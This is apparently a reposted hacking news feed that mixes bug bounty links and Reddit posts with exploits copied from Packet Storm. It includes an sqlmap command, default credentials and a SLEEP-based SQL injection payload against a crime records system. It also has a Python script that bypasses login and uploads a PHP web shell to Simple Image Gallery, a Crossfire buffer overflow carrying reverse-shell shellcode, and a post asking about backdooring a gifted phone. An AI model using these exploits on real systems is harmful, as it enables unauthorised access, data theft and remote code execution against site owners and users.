How I Found a Credential Exposure Bug on BBC.
https://medium.com/@anirudhsrinivas533/how-i-found-a-credential-exposure-bug-on-bbc-513368c28cc8?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey all,Continue reading on Medium » (https://medium.com/@anirudhsrinivas533/how-i-found-a-credential-exposure-bug-on-bbc-513368c28cc8?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty Website For Beginners

What is Bug Bounty?Continue reading on Medium »
Read more...

Exploit Collector
Crime Records Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
Crime Records Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | abc63d0985d59978216c036361a04b2c

Download
# Exploit Title: Crime records Management System 1.0 - 'Multiple' SQL Injection (Authenticated)
# Date: 17/08/2021
# Exploit Author: Davide 't0rt3ll1n0' Taraschi
# Vendor Homepage: https://www.sourcecodester.com/users/osman-yahaya
# Software Link: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Version: 1.0
# Testeted on: Linux (Ubuntu 20.04) using LAMPP

## Impact:
An authenticated user may be able to read data for which is not authorized, tamper with or destroy data, or possibly even read/write files or execute code on the database server.

## Description:
All four parameters passed via POST are vulnerable:
`fname` is vulnerable both to boolean-based blind and time-based blind SQLi
`oname` is vulnerable both to boolean-based blind and time-based blind SQLi
`username` is only vulnerable to time-based blind SQLi
`status` is vulnerable both to boolean-based blind and time-based blind SQLi

## Remediation:
Here is the vulnerable code:

if($status==''){
mysqli_query($dbcon,"update userlogin set surname='$fname', othernames='$oname' where staffid='$staffid'")or die(mysqli_error());
}
if(!empty($status)){
mysqli_query($dbcon,"update userlogin set surname='$fname',status='$status', othernames='$oname' where staffid='$staffid'")or die(mysqli_error());
}

As you can see the parameters described above are passed to the code without being checked, this lead to the SQLi.
To patch this vulnerability, i suggest to sanitize those variables via `mysql_real_escape_string()` before being passed to the prepared statement.

## Exploitation through sqlmap
1) Log into the application (you can try the default creds 1111:admin123)
2) Copy your PHPSESSID cookie
3) Launch the following command:
sqlmap --method POST -u http://$target/ghpolice/admin/savestaffedit.php --data="fname=&oname=&username=&status=" --batch --dbs --cookie="PHPSESSID=$phpsessid"
replacing $target with your actual target and $phpsessid with the cookie that you had copied before

## PoC:
Request:
POST /ghpolice/admin/savestaffedit.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/ghpolice/admin/user.php
Cookie: PHPSESSID=f7123ac759cd97868df0f363434c423f
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

fname=' AND (SELECT * FROM (SELECT(SLEEP(5)))foo)-- &oname=&username=&status=

And after 5 seconds we got:

HTTP/1.1 200 OK
Date: Tue, 17 Aug 2021 14:28:59 GMT
Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.4.22 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/7.4.22
Content-Length: 1074
Connection: close
Content-Type: text/html; charset=UTF-8
etc...

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
COVID-19 Testing Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Image Gallery 1.0 Shell Upload

https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
Simple Image Gallery version 1.0 suffers from an unauthenticated remote shell upload vulnerability.

MD5 | 29353b69e905ce60836dcda2ac84309e

Download
# Exploit Title: Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 17.08.2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html
# Version: V 1.0
# Tested on: Ubuntu

import requests
import random
import string
import json
from bs4 import BeautifulSoup

url = input("TARGET = ")

if not url.startswith('http://') and not url.startswith('https://'):
url = "http://" + url
if not url.endswith('/'):
url = url + "/"

payload= ""

session = requests.session()

print("Login Bypass")

request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "admin' or '1'='1'#", "password": ""}
bypassUser = session.post(request_url, data=post_data)
data = json.loads(bypassUser.text)
status = data["status"]

if status == "success":

let = string.ascii_lowercase

shellname = ''.join(random.choice(let) for i in range(15))
shellname = 'Tago'+shellname+'Letta'

print("shell name "+shellname)

print("\nprotecting user")
request_url = url + "?page=user"
getHTML = session.get(request_url)
getHTMLParser = BeautifulSoup(getHTML.text, 'html.parser')

ids = getHTMLParser.find('input', {'name':'id'}).get("value")
firstname = getHTMLParser.find('input', {'id':'firstname'}).get("value")
lastname = getHTMLParser.find('input', {'id':'lastname'}).get("value")
username = getHTMLParser.find('input', {'id':'username'}).get("value")

print("\nUser ID : " + ids)
print("Firsname : " + firstname)
print("Lasname : " + lastname)
print("Username : " + username + "\n")

print("shell uploading")

request_url = url + "/classes/Users.php?f=save"
request_headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary9nI3gVmJoEZoZyeA"}
request_data = "------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ids+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+firstname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+lastname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+username+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA--\r\n"
upload = session.post(request_url, headers=request_headers, data=request_data)

if upload.text == "1":
print("- OK -")
req = session.get(url + "/?page=user")
parser = BeautifulSoup(req.text, 'html.parser')
find_shell = parser.find('img', {'id':'cimg'})
print("Shell URL : " + find_shell.get("src") + "?cmd=whoami")
else:
print("- NO :( -")
else:
print("No bypass user")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Crossfire Server 1.0 Buffer Overflow

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
Crossfire Server version 1.0 SetUp() remote buffer overflow exploit.

MD5 | 2c6f2d01367a86b17cb7ecd8cf95eb93

Download
# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow
# Exploit Author: Khaled Salem @Khaled0x07
# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz
# Version: 1.9.0
# Tested on: Kali Linux 2020.4
# CVE : CVE-2006-1236

#!/bin/python
import socket
import time
# Crash at 4379
# EIP Offset at 4368
# Badchar \x00\x20
# ECX Size 170
# CALL ECX 0x080640eb

size = 4379

# Attacker IP: 127.0.0.1 Port: 443
shellcode = b""
shellcode += b"\xd9\xee\xd9\x74\x24\xf4\xb8\x60\x61\x5f\x28"
shellcode += b"\x5b\x33\xc9\xb1\x12\x31\x43\x17\x03\x43\x17"
shellcode += b"\x83\xa3\x65\xbd\xdd\x12\xbd\xb6\xfd\x07\x02"
shellcode += b"\x6a\x68\xa5\x0d\x6d\xdc\xcf\xc0\xee\x8e\x56"
shellcode += b"\x6b\xd1\x7d\xe8\xc2\x57\x87\x80\xab\xa7\x77"
shellcode += b"\x51\x3c\xaa\x77\x50\x07\x23\x96\xe2\x11\x64"
shellcode += b"\x08\x51\x6d\x87\x23\xb4\x5c\x08\x61\x5e\x31"
shellcode += b"\x26\xf5\xf6\xa5\x17\xd6\x64\x5f\xe1\xcb\x3a"
shellcode += b"\xcc\x78\xea\x0a\xf9\xb7\x6d"
try:
filler = "\x90"*(4368 - 170) + shellcode+"\x90"*(170-len(shellcode))
EIP = "\xeb\x40\x06\x08"
padding = "C" * (4379 - len(filler) - len(EIP))
payload = filler + EIP + padding
inputBuffer = "\x11(setup sound "+ payload +"\x90\x00#"
print("Sending Buffer with size:" + str(len(payload)))
s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect(("192.168.1.4",13327)) # Server IP Address: 192.168.1.4
print(s.recv(1024))

s.send(inputBuffer)
s.close()

except:
print("Could not connect")
exit(0)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Hospital Management System Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
How Does Your Browser Spy on You?

Unfortunately, we have to admit that we are all under Big Brother’s watchful eye. Internet keeps every piece of information even when we don’t really want to share it. Indeed, corporations state they need detailed information about a person only to offer intuitive web surfing and optimal advertising. But you shouldn’t really trust these «hearty» […]

The post How Does Your Browser Spy on You? appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Legality of a backdoor

Hello! Would it be illegal in any way to backdoor a android device before gifting it to someone? If not is there anything you cant do?

submitted by /u/manifest_destiny_2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Punk Protocol Hack - How Did A White Hat Attacker Save 6 Million USD From Being Stolen? - Decyphered

https://external-preview.redd.it/WW75zrjPtrJKwxDK05aarCwQbs1408pMYv-hm01az78.jpg?width=320&crop=smart&auto=webp&s=e0a84689ae9654dfd14f5c41a236b72f4255e81b submitted by /u/stanley9528
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Attackers use Morse code, other encryption methods in evasive phishing campaign
https://www.reddit.com/r/redteamsec/comments/p6yi58/attackers_use_morse_code_other_encryption_methods/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/MorseCodePhishing) [comments] (https://www.reddit.com/r/redteamsec/comments/p6yi58/attackers_use_morse_code_other_encryption_methods/)

___________________________
@hacking_Attack
@Hacking_Video